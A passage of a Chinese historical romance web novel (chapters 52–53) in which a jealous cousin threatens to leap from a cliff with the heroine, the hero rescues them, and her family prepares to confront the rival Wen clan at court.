傅朝寻的脸色越来越冷,他已经没有了耐心,他环顾四周,数了数一共有多少杀手,温衍想杀了他,还把他引到这里来,定然是下了决心。 马车里突然有了动静,他似乎听到了叶元倾的声音。 “温衍。”傅朝寻冷喝一声,“你到底想如何?我的命可以给你,你休要再继续发疯。” 温衍听过他的这番话后,反而更加绝望和恐慌了,原来,他自认为自己已经够爱叶元倾了,也付出的够多,没想到还有人更爱,更疯狂。 傅朝寻说,他和叶元倾相识了七年,七年,七年他都不知道,他就像个小丑一样。 他仰头一阵冷笑,他竟然被叶元倾骗了七年,可她春天的时候还说要嫁给他。 他现在成了一个笑话,这么多年的感情那么一文不值。 叶元倾也是个狠心的。 他笑着笑着,开始扶着马车一步步后退。 若是他和叶元倾在这里掉下去,痛苦的人不再是他,而是失去叶元倾的傅朝寻。 既然他得不到,她又骗他,那不如一起死了一了百了。 “温衍。”傅朝寻见势不妙,大喝一声,“你休要胡来。” 温衍没做声,还在一步步后退。 傅朝寻急忙往前追,温衍推着马车退的更快。 傅朝寻停下来,早已到了崩溃边缘。 他微微闭了下眼睛,开始往后退,哑着嗓子道:“好,从现在开始,你说什么我都答应你,放了她,放了她。” 温衍只是冷笑,推着马车不肯停下来。 傅朝寻举剑在腰侧狠狠刺了一剑,捂住血液直流的伤口,问他:“这样可以了吗?可以停下了吗?” 温衍没想到他会真的又给自己一剑,蹙着眉头停了下来。 “温衍。”傅朝寻不想再激怒他,好言道:“元倾只是一个柔弱女子,只是卷进了你我的感情里,她是无辜的,无论她爱谁,选择和谁在一起都是她的自由,你不能强迫她,更不能因为得不到而毁了她。她……” 她前世过得已经够苦了。 “温衍,你放了她。”傅朝寻看着他们身后的悬崖,终是妥协了,“你放了她,我答应你的任何要求。” 这爱情,太伤人了。 温衍见他流着血,一点点没了力气,这才停了下来。 他举起弓箭,瞄准他的胸口。 他要一箭射死傅朝寻。 弓箭再次被他拉紧,他咬牙切齿地看着他,他只要一松手,他就得死在他眼前。 “温衍,不要。” 正在他松手的那一刻,从马车里奋力挣脱束缚的叶元倾冲出来一把扑在了他的身上。 温衍手里的箭一松,只听“嗖”的一声,箭矢向傅朝寻射去,傅朝寻急忙闪身躲避,抓起剑一个跃身向马车前冲去,嘴里喊了一声:“元倾!” 元倾! 叶元倾把温衍扑倒在地,抓住他的手腕,到他脸上狠狠地扇了一巴掌。 温衍震惊地瞪大眼睛,一个翻身把她拥在怀里,接着就向悬崖边上跑去,冷笑着说:“妹妹,今生不能在一起,那就来世在一起。” 叶元倾一阵惊慌,伸手去抓,抓住了马车。 这时从马车上下来的邱盈用力抠开了她的手。 叶元倾手上没有了东西,被温衍拥着继续往山崖边上退去。 此时周围的杀手一拥而上,对着傅朝寻一阵砍杀。 跟随傅朝的士兵见状,极力去护傅朝寻,护着他向温衍一路追去。 傅朝寻忍着身上的疼痛,一个t?跃身到了马车跟前,站在马车旁的邱盈一把抓住了他的胳膊,傅朝寻看她一眼,皱起了眉头,抬腿一脚把她踹倒在地。 天已经黑下来,山顶上有太多雾,温衍不顾一切地拥着叶元倾往后退,到了悬崖边上都没有看清。 叶元倾一双手不停地在周围抓,终于抓到了一个树干。 温衍终是停了下来,站在悬崖边上,在身后把叶元倾揽在了怀里,然后冲着奔来的傅朝寻大喊一声:“你再走一步我就抱着她跳下去,既然得不到,那就一起死。” 温衍疯了,彻底疯了。 这样一个极端的人,前世都能因为叶元倾的拒绝而死,现在更是不管不顾。 傅朝寻急忙停下,已经吓得双手颤抖,他们再往后一步,叶元倾就会没命。 傅朝寻恨得咬牙切齿,他一定一定要把温衍碎尸万段。 叶元倾死死抓着一旁的树干,只要她松手,只要温衍再往后退,他们两个都会丧命。 “表哥。”叶元倾准备安抚他,“表哥你冷静一些,你听我说,全都是妹妹的错,是我不该冷落你。” 温衍见叶元倾开口,含在眼里的泪水瞬间落了下来。 叶元倾缓了口气,继续道:“表哥,妹妹知道你很难过,但是你也要给我一点时间,两个人闹矛盾说开就好了,何必动这么大的气。以前我们两个也闹过矛盾,不是也都和好了吗?” “那不一样。”温衍开始哽咽起来,“那怎么能一样,妹妹,是你变心了,是你不要我了,就因为傅朝寻的出现,我想不明白,他到底哪里值得你不顾一切地抛下我。” 温衍直到现在都不知道自己的问题出在哪里,他一直都认为这是叶元倾的错,这是傅朝寻的错。 但他却不知,自己自私的爱情早已伤害到了叶元倾。 一瞬间,好似前世的一切历历在目,那时候他也是这样痛苦地站在她面前,恳求她再给他一个机会。 几乎要把她逼疯了,她拒绝了,他就病倒在床一蹶不振。 到底有多爱啊?连她自己都搞不明白。 “表哥!”泪水已经模糊了叶元倾的双眼,她哽咽道:“妹妹哪有这么好值得你这般,我不过是一个普普通通的女子罢了,我哪里值得你这样痴狂呢?我父亲说,人除了爱情,还有亲情,友情。你还有舅舅,还有外祖父,你还有好多好多朋友。妹妹也是你的亲人啊!无论我以后是否嫁人,我都是你的亲人啊!你想一想我的母亲,她是你的姑母,你若是把她的女儿给害了,她会有多伤心,她会有多恨舅舅。” 山顶太冷太冷了,叶元倾抓着树干的手已经冻僵了。 她吸了吸鼻子,继续道:“舅舅很早就没有舅母了,他现在只有你一个儿子,他若再没有了你,他该如何活?你放过自己吧!越是纠结,越是拧巴,越是想不开。那日,叶宁问我,傅朝寻要和姜妍成婚了,我难不难过。我说我不难过,一点也不难过,因为我解他们的迫不得已,这世间遗憾的事情太多了,不能在一起的痴情男女也太多了,不过只是人生中的一个节点,后面还有很长的路要走,还有很多美好的事物等着你。” 她感觉脸上的泪都要结冰了,声音非常虚弱:“表哥,妹妹求求你,想开一点,以后过得轻松一些,你很优秀,你有太多太多优点值得去展现,并不是只有感情才能让你光彩照人。等明年春天的时候,我们和元恒哥哥以及元萧哥哥去雾山好不好?我们以前说好的一起去,可是却一直没有机会去。温衍哥哥……” “妹妹,别说了,别说了……”温衍已经痛哭流涕,已经崩溃不已。 他哭着说:“妹妹,什么都别说了,是哥哥不对。” 风太大,天也好冷。 他支撑不住了,唇边已经开始流血。 他说完,松开了她,往后退了一步。 “表哥。”叶元倾惊呼一声,反应迅速地一把抓住了他的衣服。 他还想跳崖。 她的秀发从他脸颊划过,冰冰凉凉,带着一点熟悉的清香。 “妹妹!你松开我。” 第52章 第 52 章 傅呈延 妹妹!你松开我。 松开我。 她怎么会松开。 黑夜暗下来, 气温更低了,悬崖边上的风像刀子一样凌厉,一串串冰粒子打的人睁不开眼睛。 叶元倾抓着树干的手渐渐没有了力气, 温衍的身子在悬崖边上摇摇欲坠。 叶元倾拼尽全力紧紧地抓着他的衣衫, 声泪俱下地喊道:“温衍,你这个懦夫,你让我瞧不起,你真的让我瞧不起。有什么大不了的事情,就在这里寻死觅活,你不许死,你永远也不许死。” 叶元倾是经历过一次死亡的人, 她知道死亡那一刻是多么的恐慌无助。 黑夜里,她一声声地哭喊在山谷里回荡, 听着如此的凄凉。 “妹妹!” 温衍就像失去了灵魂,他已经丧失了活下去的意识,他只会叫一声“妹妹”。 绝望,心灰意冷, 执拗,想不开, 不明白,这全是他现在的问题。 心里疼到麻木,也是他现在的感受。 杀手们还在奋力抵挡傅朝寻。 傅朝寻握着长剑一手一个地解决着, 鲜血流了一地,他疾步如飞地上前, 望着那一抹白色身影,真的很想一脚将他踹下去。 最终,他忍住愤怒, 扔下手中的剑,把叶元倾和温衍一并拉了回来。 他把叶元倾拉到安全的位置,然后掐住温衍的脖子把他按倒在地,举起拳头,一拳拳落在温衍的脸上,嘴里冷喝道:“温衍,你就是懦夫,你也让我瞧不起,你有什么好死的,我问你有什么好死的,我活的那么艰难都没有死,你有什么好死的?你和叶元倾青梅竹马,自幼相识,她大部分美好时光都在陪着你,你还有什么委屈?” 傅朝寻一拳比一拳重地落在温衍的身上,温衍躺在地上任凭他疯狂揍着,一句话不说,只是冷笑着。 “温衍。”傅朝寻又一拳砸在了他的肩头,愤然道:“从幼时到花季,她的所有时光都在陪着你,她的一颦一笑,她的所有苦恼,她的喜怒哀乐,她的一切一切都毫无保留地展露在你面前,她带给你那么多美好时光,你还有什么不满足的?是你捡了大便宜,你又有什么资格拿着自己那点喜欢去强人所难?” 空中突然落了雨,一滴一滴,“啪嗒”,“啪嗒”,落下来。 风小了,雨来了。 叶元倾走到傅朝寻跟前想拉他起身,但他依旧气愤地抓着温衍不肯松手。 他继续道:“这个世界上比你苦的人太多,比你不如意的人更多,娶不到心爱姑娘的人也有很多很多,但是却很少有像你这般着了魔要死的,要害人的,你敢说你这是喜欢吗?你这是爱吗?你只是不服气,你只是想占有。你这种自私的爱情让我瞧不起,让我唾弃。” 雨,越下越大。 傅朝寻的衣衫全被打湿了,身上流的血和雨水混在一起,顺着小沟向悬崖下滑落,黑发贴在脸上滴着雨水。 温衍躺在冰凉的地面上,听着傅朝寻一声声的怒喝,他一句话也说不出来。 雨水落在他眼睛上,睁不开,落在他脸上,又凉又疼。 风一吹,脑子好像清醒了。 迷迷糊糊望着黑漆漆的夜空,一颗沉重的心瞬间空了,好像什么都没有了。 傅朝寻说的,好像没有错。 又是一拳砸在了他的脸上,面前依旧是傅朝寻愤怒的声音:“你如今才一十九岁,你这一生才走多远就开始抱怨人生,你风雨无阻地活到今天,你有人陪伴,有人疼爱,穿的光鲜亮丽,享受着美酒佳肴,接受着好的教育,如今,刚走出人生第一步,就开始因为感情怨天怨地,变得狠毒阴暗,你连你自己的出身都配不上,你还想配得上元倾?事到如今,都是你咎由自取。” 又是一拳砸在他的脸上。 傅朝寻缓了口气,心中的怒火依然难消:“温衍,这一拳就当是我们的一个了结,我不杀你,但是你不许再纠缠元倾,再有一次我定然会把你碎尸万段,你自己好好想想自己今后的人生要如何走,若是还想死,就滚个没人的地方去死,若是你真的死了,你就输了,彻彻底底地输给了我,也会让我永远永远唾弃你。” 雨,越下越大,越下越大。 傅朝寻身上还在流血,但是已经感觉不到痛了,浑身也没有了力气,最后一拳下去都没有打疼温衍。 身上很凉很凉,但是也让人清醒t?。 叶元倾笔挺地站在一旁,脸上的雨水和泪水混在一起,滴在手背上就像小刀划着皮肉一样。 温衍才一十九岁,正是初出茅庐的年纪,正是血气方刚的年纪,他的人生路还很长很长。 他不如她和傅朝寻活得明白,等过几年,等他再大一些,他会解傅朝寻今日对他说的这些话,也会感谢傅朝寻把他从悬崖边上拉了回来。 “倾儿,倾儿!”随着一阵慌乱的脚步声,叶展桡带领两位儿子冲上了山顶。 一瞬间,火光通明,一大批举着火把的士兵把整个山顶团团围住。 雨小了一些。 叶展桡身穿铠甲,手持长枪,愤怒不已地冲上山顶,心里的担忧与愤恨早已压制不住,他大喝一声:“我看谁敢动我家倾儿,我定让他死无葬身之地。” 叶元恒和叶元萧也握紧长剑做好了杀人的准备。 “父亲!” 叶元倾透过火光看到那道伟岸的身影,终是放声哭了出来。 “父亲,倾儿在这里。”叶元倾擦着眼泪向叶展桡跑去。 “倾儿!”叶展桡看到她,眼眶瞬间红了,几个大步迎上她。 叶元倾一把扑进父亲的怀里,双腿一软,有些撑不住了。 叶展桡扶住她,把她揽在怀里,见她无伤,松了口气,安抚她:“倾儿不怕,父亲在。” 叶元恒看到妹妹安然无恙,悬着的心终是放下了,他跑到傅朝寻跟前,看到他身下压的是温衍,立马暴跳如雷地大喊道:“原来是你个小兔崽子把我妹妹带到了这里?你想干什么?你想害她?” 叶元恒把傅朝寻一把扯到一旁,抓起温衍开始一顿猛揍。 温衍躺在地上一动不动。 叶展桡和叶元萧听闻是温衍,不禁震惊,他们都以为是皇后或者皇宫里的人劫持了叶元倾,没想到竟然温衍。 竟然是温衍。 叶展桡一双拳头握得咯咯作响,他几个大步走到温衍跟前,一把将他揪起,愤怒道:“衍儿,你告诉姑父,我和你姑母哪里对不起你,你要如何害元倾?从小到大,我们疼你爱你,把你当做亲儿子一样对待,你没有母亲,你姑母把你接到将军府养了你那么多年,好吃好喝的待你,哪一点能让你如此狠心?” “纵使是因为你和元倾的感情我们怠慢了你,但是你一再的咄咄逼人,一再的执迷不悟,我们有对你怎样吗?你一声不响的求一道圣旨下来,让元倾为难,让整个将军府为难,你有替我们着想过吗?现在倒好,起了害人的念头了,你这么小,怎会如此阴毒?” 叶展桡越说越气:“因着你姑母是温家人,最近你和你父亲,你们温家对将军府做的事情,我一忍再忍,如今你要害起我女儿来了。” 他一把将温衍甩倒在地,浩气凛然地道:“即日起,将军府将会对温家追究到底,所有陷害者一个都不会放过。来人,把这畜生给我押走。” 几名兵将听令,速速上前把温衍架起。 温衍就像被抽掉了筋骨一般,瘫软着一点力气都没有,嘴角还流着血。 雨,打湿了所有人的衣衫。 傅朝寻蹲在泥水里,伤口已经血流不止,他感觉眼前越来越黑,渐渐没有了意识。 “元倾!”他轻轻叫了一声,努力睁着眼睛,想要看清叶元倾。 叶元倾听到他的喊声,慌忙跑上前,就着火光,这才发现他腰侧有一个不住流血的伤口。 他身上的衣衫几乎全被染红了,伤口触目惊心。 叶元倾慌张地一把捧住他冰凉的脸颊,轻声喊他:“傅朝寻,你坚持一会,我们现在就回去。” 然后她冲着父亲喊道:“父亲,快,快找人给他包扎伤口。” 跟来的医师急忙跑上前去,举着火把看了看傅朝寻的伤口,惊呼道:“糟糕,伤口太深,一直在流血,好像伤到要害了。” 伤到要害。 叶元倾心口猛地一疼,一把抱住傅朝寻,凝噎道:“傅朝寻你坚持住,一定要坚持住。” 傅朝寻的脸贴着她的脸,即便有火光,也感觉什么都看不清了,更没有力气开口。 医师手忙脚乱地帮他处了一下,勉强止住了血,他道:“小姐,现在必须尽快带他下山,也要注意给他保暖。” 叶元倾点着头慌忙扶着傅朝寻起身,已经意识模糊的傅朝寻怎么也起不来。 叶展桡大步走上前,弯身准备把傅朝寻抱起,只听路口一阵响动。 不一会,只见一位身穿白衣手持雨伞的男子疾步而来。 男子在路口停了一瞬,扫视众人,待看到火光中趴在叶元倾身上的傅朝寻以后,急急地喊了一声:“朝寻。” 他的声音清冷,与傅朝寻有几分相似。 他快步走上前,看了一眼叶展桡,然后蹲下身,又看向叶元倾。 微弱的火光下,叶元倾转头看去,只见一张酷似傅朝寻的青隽脸颊出现在眼睛,他一双眼睛看她时闪过一抹不明神色,矜贵的气质在雨中无一丝狼狈。 叶元倾惊讶地愣住。 傅呈延? 傅呈延。 傅呈延扶住趴在她身上没有意识的傅朝寻,起身将他一把打横抱起,然后低眸看了一眼叶元倾,清声道:“朝寻受伤严重,我速速带他回亲王府治疗。” 叶元倾起身一把拉住他:“不行,傅朝寻不能跟你走,你放下他。” 傅呈延,一个永远猜不透心思且总是踩在傅朝寻背上的人,她怎么能让他把人带走。 傅呈延瞥了一眼她抓他衣衫的手,又清声道:“叶姑娘,这是我弟弟,你怕我不好好医治他?” 她怕,她怎么会不怕。 她依旧抓着他的衣衫不放,蹙眉道:“你不能把他带走,你放下他。” 傅呈延眯眼看她,眸光凌厉了一些,沉声道:“叶姑娘不想让他死就松手,亲王府有医治好他的大夫,将军府有吗?你若再耽误一会,他就真的活不成了。” 叶元倾恍惚了一瞬,又看向面色如纸的傅朝寻,她确实有些担心将军府找不到好大夫为他治疗,最终,她慢慢松开了他的衣衫。 傅呈延见她松了手,微挑了一下唇角,对叶展桡颔首道:“今日辛苦叶将军了。” 他说完,抱着傅朝寻大步向山下走去。 叶元倾看着他离去的背影,怎么也不放心,她动身想去追,叶展桡拉住她,安慰道:“倾儿,我们先回府,傅朝寻受伤严重,回亲王府治疗会更好一些,他兄长和父亲是不会不管不问的。” 不会不管不问,谁又知道呢。 叶元倾擦着脸上的泪水,说:“父亲,你能不能派人去跟着他们,我真的很不放心。” 亲王府的所有人都不可信。 叶展桡应了一声,叫来几个人去追傅呈延,而后他把手里的兵器递给叶元恒,蹲下身,对叶元倾道:“上来,父亲背你下山。” 叶元倾急忙摇头:“不用了父亲,我自己能走。” 叶展桡拍了拍肩膀,笑说:“傻丫头,父亲还背得动你。” 父亲还背得动你。 叶元倾看着脸上流着雨水的父亲,鼻子一酸,眼泪瞬间夺眶而出,她走上前,趴在父亲的背上,把脸贴在父亲的肩头,就像儿时那样,父亲可以背着她抵挡一切灾难。 “倾儿!” “嗯。” “回府以后好好休息,剩下的一切都交给父亲来做。” “好的,父亲。” 雨突然停了,风也没有那么大了,下山的路也没有那么难走了。 叶元恒举着火把在四周照了照,看到了蹲在马车旁瑟瑟发抖的邱盈。 他蹙着眉头走上前,想要抓起她的手带她一起走,邱盈则惊慌地向后躲避,嘴里说着:“我只是想帮温衍哥哥,他太可怜,太可怜了。” 叶元恒把她拽了起来,叹气道:“是他自作自受,你何必去可怜他,你切记一句话,多行不义必自毙,也要记住,任何时候都不要做坏事,做坏事的人,老天自有惩罚。” 邱盈浑身冰凉,不住颤抖。 叶元恒又无奈叹气,叫来了叶元萧,说:“二弟,你背她下山。” 叶元萧不情愿,他一直都不太喜欢邱盈,她时下出现在这里,定然与绑架叶元倾一事脱不了关系,他皱眉道:“大哥背,我不背。” “我不背。”叶元恒拒绝,转身大步向山下走去。 叶元萧皱着眉头,蹲下身把邱盈背起,快步追上了叶元恒。 一行人下了山,上了马车,然后快马加鞭地赶回了京城。 叶元倾一到家,就看到祖母和母亲在门前焦急地t?等着。 天那么冷,两个人站在寒风中,望着路口,等了又等。 “娘!祖母!”叶元倾跑上前抱她们,止了一路的眼泪又落了下来。 众人进了家,温容一边流着眼泪一边带着叶元倾去闺房换衣服,叶元倾安慰她:“娘,你别哭了,倾儿没事。” 温容找了件最厚的衣服出来,默默地帮她穿着,眼泪一直没有停过,看起来很伤心,很难过。 叶元倾抱住她,继续安慰道:“娘,倾儿真的没事,你看,全身上下连一个伤口都没有。” 温容头一次在女儿面前如此失控,担惊受怕,委屈,失望,怨恨,终是让她只撑不住了。 想想自己的娘家,想想那一群温家人,她的眼泪流的更厉害了,她抱紧了叶元倾,温声道:“倾儿,是娘对不起你。” 当初若不是她执意把温衍留在府上抚养,两个孩子也不会产生感情,温衍也不会走向极端道路。 叶元倾安抚着娘亲:“娘,这怎么能怪你,是倾儿没有处好自己的感情问题。您是温家人,您一直处在左右为难之中,我知道,温衍每次带着外祖父和舅舅来逼我的时候,您都偷偷躲在房间里哭泣。您也很伤心很无助,那是您的父亲,您的兄长,您的外甥,他们毫不顾忌您的感受,那种滋味不好受。” “我知道,外祖父娶了妾以后就开始冷落您和姨母,您的继母是个心狠手辣的人,常常为难您,您的日子也不好受,若不是舅舅娶了太后的侄女,他和温衍的日子也好不到哪里去,如今两家闹到这般地步,我知道您很伤心,但是我们已经一忍再忍,不能再忍。” 叶元倾贴着娘亲,感受着她的温度,继续说:“今日,温衍像疯了一样,他把我拥到悬崖边上,要与我同归于尽,那时候,女儿真的很怕很怕,我害怕再也见不到娘亲和父亲。但是这一切都怪我,是我没有处好我们两个的关系,才让他走火入魔。娘亲,你别再难过了,不然我也会很难过。” 温容点着头,轻拍着她的背,温声说:“倾儿,世间既是如此,娘也看明白了,既然是温家人不仁,那就休怪我们不义,这件事,无论你祖母和你父亲如何处,娘亲都不会有一句怨言,我们已经仁至义尽了。” 叶元倾点着头,帮娘亲擦了眼泪,又把自己的眼泪擦干,母女俩对视一眼,均是破涕为笑了。 虽然心里很痛,但是还好她还有母亲在身边。 叶元倾换好衣服又跟着娘亲回了前堂,父亲和兄长也都换了衣服坐下来。 祖母一脸严肃,气色不太好,年纪大了,已经受不住这等担惊受怕的场面。 叶元倾走到祖母跟前,抓住她的手,安慰道:“祖母,我已经没事了,您也别担心了。” 傅青看着脸白如纸的孙女,又红了眼眶,她倒了一杯热茶放到她手里,温声说:“倾儿没事祖母就放心了,只怪祖母没有保护好你,明知太后的为人,还让你一个人进皇宫。温衍那个小畜生,祖母一定不会放过他。” 叶元倾握着茶杯暖着手,说话的声音还很虚弱:“祖母,这不能怪您,是我没有把事情处好。” “怎么才算处好?”叶元恒早就忍不了了,一肚子火气,蓦地站起身,愤然道:“是那个小兔崽子强人所难,怎么能怪得了妹妹?他得不到人就想把人毁了?他算个什么东西?那么冷的天,他把你带到那么危险的地方,我看他根本就没有想放过你。你们都说温衍喜欢元倾,这是喜欢吗?我从小就觉得他这个人不正常,做事总是那么极端,情绪说上来就上来,就像个长不大的孩子,心眼如同芝麻粒那么点大小,他能算个好人?” 叶元恒越说越暴躁:“我看他就是和太后串通好的,是想陷害我们,他以为仗着太后就可以为所欲为,他以为我们将军府就那么好欺负,我真是一点也忍不了他。” 叶元恒脸颊涨红,卷起了袖子。 叶展桡轻叹着气,冲他摆摆手,道:“你先坐下,这次,为父定然不会善罢甘休。我认为是有人在背后指使温衍使坏,我们是看着温衍长大的,他虽然性格不太好,又有点脆弱,但是绝不是一个心恶之人,是有人借他对叶元倾的感情想毁了将军府和傅朝寻。” 叶展桡回忆最近发生的种种,再结合最近朝中动向,他发现,温家人背后除了太后,应该还另有其人,那个人,很有可能就是当今太子傅亦。 “难道是太子?”叶元萧猜出了点什么,“温衍与太子关系甚好,二人还是生死之交,温衍十七岁那年突然犯病,据说是太子背了他很远的路才找到了大夫救了他,温衍对太子一直都心有感激,太子被弹劾那次,也是外祖父和舅舅极力帮忙才得以脱险,温衍胆子小,纵使他再恨也想不出这个损招,还动用太后把妹妹引到皇宫去。” 一个有哮喘病的文弱书生,不仅带着人跑到那么远的地方,还带了那么多士兵,又设了埋伏把傅朝寻引到那里,定然是有人在背后出谋划策。 傅青面色凝重地道:“太子阴险狡诈,与太后很像,毕竟是她一手带大的,如今皇帝只有他一子,虽然皇位胜券在握,但是也保不住虎视眈眈的亲王府生扑过来,他现在是想多争取一些权利,想让温家尽心尽力地为他卖命,他也怕温家和将军府联姻,毕竟他们摸不清我们叶家人的心思。温衍定是鬼迷心窍听了他的话,才做出这等事来。” 她缓了口气,顿了一下手中拐杖,语音冷了一些:“我不能再坐视不管,现在我们有了回击温家的说辞和证据,我会去一趟皇宫,要求皇上给一个公道,这次……” 她停了一瞬,看了一眼垂首的温容,放轻了些语气道:“这次不能再心慈手软,起码要削弱一些温家势利,让他们断了再加害叶家的念头。” 她又看向叶展桡:“桡儿明日和你兄长陪我一同前去,带上你们手中温沛和温沥贪赃枉法的证据,先从这二人下手。” 只要把这二人铲除,温家就会少一半的权势,再加上前段时间傅朝寻对这二人的举证,除掉他们会容易很多。 叶展桡站起身,虽然觉得让母亲出面很是担心,但是母亲确实有一些话语权,他便行了一礼道:“好,明日我会带上兄长和一些大臣极力配合母亲。” 叶元倾立在一旁,双眼通红通红,看着一家人极力维护自己,既感动又愧疚,若是她早点和温衍把事情处好,就不会闹这么大的事,年迈的祖母也不会再踏进凶残的权势中来。 傅青担心太久,一整天都未用饭,时下一双手不住地轻颤,她慢慢站起身,对温容道:“容儿,想开一些,以后你还有展桡,还有三个孩子,还有我们叶家人,我们就是你的靠山,任何时候都是你的靠山,你且收拾收拾心情,让厨子给大家做些热乎的饭菜,咱们吃饱了才有力气对付恶人。” 温容擦着眼泪,连连点头。 叶展桡心疼地走到她跟前,牵起她的手,帮她擦着眼泪:“我陪夫人一起去,听话,别哭了。” 温容紧紧抓着叶展桡的手,就像抓住了今后的人生。 叶元倾回了闺房,喝了好多热茶才把身子暖回来,她拥着厚厚的毯子,趴在窗前,又望着那棵光秃秃的大树发呆。 冬天怎么这么长啊!什么时候才能到春天呢? 傅朝寻,他醒来了吗? —— 一处幽静的庭院里,一袭白衣的傅呈延给下人们交代完,轻步进了东边的一个房间。 房间里点了很多火炉子,非常暖和,炉子上还座着一罐汤药。 药味很刺鼻,傅呈延微微蹙了一下眉头,抬袖掩了一下鼻子。 蹲在床边的太医见他过来,起身给他行了一礼,道:“公子,人已经脱离生命危险了。” 傅呈延往前走了两步,望了一眼躺在床上昏迷不醒的傅朝寻,清声问:“他何时能醒来?” 太医回道:“这个不确定,伤的实在严重,腰侧伤到了要害,又流血过多,恐怕一时半会很难醒来,不过公子放心,我会极力医治他。” 傅呈延“嗯”了一声,好看的眼睛微微眯了一下,想起探子汇报给他的信息,不禁挑唇冷笑。t? 温衍,这个蠢货。 因为一个女人,搅乱了他所有计划,逼得他不得不出面解决。 他又看了一眼床上的人。 回忆起在山顶上,眼泪汪汪如同受惊兔子一般扯着他不放手的叶元倾,长睫轻轻一颤,玩味地笑了。 真是越来越有意思。 第53章 第 53 章 后悔。 今日天气很好, 阳光明媚,从窗台上照进来,暖暖的。 叶元倾趴在窗前, 望着院门的方向, 总是时不时地叹气,日光落在脸上,苍白的小脸被照得的滋润了一些。 因为昨夜下了雨,屋檐上还在“啪嗒”“啪嗒”滴着雨水。 不一会,伶儿匆匆跑来,一进屋就说:“小姐,我刚才打听到, 侯爷他好像不在亲王府里,那日, 傅呈延根本就没有把他带回亲王府。” 叶元倾蓦地站起身,急声问:“可有打听到去了哪里?” 伶儿摇摇头,回道:“不知道,没有一点讯息, 就连亲王府的人都不知此事,傅呈延昨晚回去的时候甩掉了我们跟去的人, 后来就像凭空消失了一样。” 叶元倾心下一紧,她就知道傅呈延没安好心,只是, 傅呈延会把傅朝寻带到哪里去?他们是亲兄弟,傅呈延应该不会陷害傅朝寻的吧? 叶元倾焦急地来回走了几步, 今日一早祖母就带着父亲和兄长去了皇宫,时下也没有一个商量的,她要去哪里找傅朝寻。 伶儿安慰她:“小姐你先别着急, 他们是亲兄弟,傅呈延应该就不会做出格的事,你且好好等着,我已经安排人去打听了。” 伶儿这边说着,屋外突然响起一阵动静。 叶元倾疾步出了房间,一路到了前院里,只见姨母温然正怒气冲冲的站在院子里喊,气愤不已地说着:“别以为是高官就了不起,有句话叫做三十年河东三十年河西,以后还不一定如何?什么串通一气,什么想要加害于人,什么要把我们家盈儿关进大牢里去,别以为有点权势就可以为所欲为,今日不把盈儿交出来,我就把将军府给点了。” 她这边说着,掏出一个火折子就准备放火,府上的小厮急忙拉住她,管家叹着气夺走了她手里的火折子,提醒她:“你知不知道你这是蓄意谋害,是要砍头的。” 温然双眼一瞪,冷笑道:“到底是谁蓄意谋害,你们为何关押着我家盈儿不放?你们将军府出了事与我们盈儿何干?今日你们必须给我一个说法,无论如何我都要把盈儿带走。” “妹妹。”这时候,温容疾步赶来,看到愤怒的温然,先是安慰道:“妹妹先别动气,我们到屋里说。” 温然看到温容,眉头皱的更紧了,她冷哼道:“你们自己的事情处不好,为何要拉我家盈儿下水,今日你定要给我一个说法。” 温容点着头道:“好,妹妹我们先去屋里,好好说。” 温然消了点气,瞥见了站在不远处的叶元倾,她伸手一指:“元倾你过来,事因你而起,你要给姨母说个明白。” 叶元倾时下心情也不太好,昨日他们回府之后叶元恒就把邱盈关了起来,因为邱盈全程参与了绑架事件,是非常重要的人物,必须要把她看好了。 叶元倾为邱盈做的事情很是痛心,她怎么也没有想到,这样柔柔弱弱的一个小姑娘狠起来会那么可怕。 她不知道邱盈和温衍何时串通起来的,邱盈为了在马车里看住她不让她挣脱,竟然掏出匕首抵住她的胸口,威胁她动一动就杀了她。 她不明白,纵使邱盈再爱温衍,也不该如此恶毒地拿着匕首威胁她,毕竟他们是表姊妹,都是有血缘关系的。 许是姨母听说了什么,这才火气冲冲地过来找邱盈。 光脚的不怕穿鞋的,祖母和父亲还未从皇宫回来,这个时候千万不能让姨母惹出乱子来。 叶元倾思忖着,走上前,颔首道:“倾儿见过姨母。” 温然冷哼一声,向前堂里走去。 几人进了屋坐下,姨母开门见山地道:“元倾和温衍的事情闹得满城风雨,将军府和温家都是有脸面的人,如今闹成这样,也不怕丢人,这两府是怎么教育孩子的,因为一点感情问题,不仅在大街上吵,还在皇宫里闹。” 温然说话甚是难听,温容冷了脸道:“妹妹就事论事,莫要说其他,这次的事情十分严重,是人命关天的大事,盈儿牵扯进来定然脱不了干系,若她是被逼无奈也有情可原,在为查明真相之前,盈儿还是留在将军府的好。” 温然狠狠地拍了一下桌子,站起身道:“你这话什么意思,是在怀疑我们家盈儿加害你们家元倾?本来就是温衍他二人的私人感情问题,你们把我们盈儿牵扯进来,我没有追究就算不错了,怎么还把问题怪罪到我们的头上。” 母亲自然是向着自己女儿的,人命关天的大事,她怎么能让邱盈深陷其中。 温容摆摆手让她坐下:“你激动什么,我不说了这事还在调查。” “既然还在调查,现在就把她放了。”邱然护女心切,现在只想把自己女儿领回家。 温容无奈皱眉没再她。 温然看向叶元倾,冷面着说:“元倾,你的事情姨母叶听说了不少,你不仅和温衍闹得不可开交,你还和傅朝寻关系不清,你到底在做什么?你到底是喜欢温衍还是傅朝寻?” 果然是将军府的女儿,京城里有权有势的男人争着抢着娶她,连傅朝寻那样的男人也为了她不管不顾,当真让人羡煞不已。 叶元倾一直沉默着,她不想回答,也不想让温然继续闹。 温然见她不作声,试探性地道:“你喜欢傅朝寻对不对?不然温衍也不会发那么大的火,以前他寄养在将军府的时候,就特别喜欢你,他眼里除了你,可是任何女子都看不进去的,现在你突然看上傅朝寻,是谁谁都恼火。” “姨母。”叶元倾实在不想听,她了解温然的性子,发狠起来什么都做的出来,她没有告诉她秋邱盈拿刀子威胁她的事,而是道:“姨母莫要扯远了,我这次被绑架,邱盈妹妹一直在一旁冷眼相看,我不知她是真的害怕还是因为其他,这事我们也不想冤枉了她,所以才打算查明真相,姨母若是疑惑,可以直接去问温衍,若是邱盈与此事无关,定然不会有人为难她。” 看来是带不走人了,温然脸色立马冷了下来:“你们这样私自扣押可有王法?” 王法。 叶元倾蹙眉道:“这事姨母不必着急,也不必声张,若是邱盈真的无辜,我们将军府也会为她主持公道,你且回去等着,一有消息就会去通知你。” 温然冷哼一声:“见不到人我怎么可能走。这明明就是你的感情问题,牵扯出这么一堆麻烦事,元倾,姨母有句话要告诉你,自古滥情的人都不会有好下场,找个合适的人嫁了才能安稳过一生,别到头来两手空空。” 温然越说越难听。 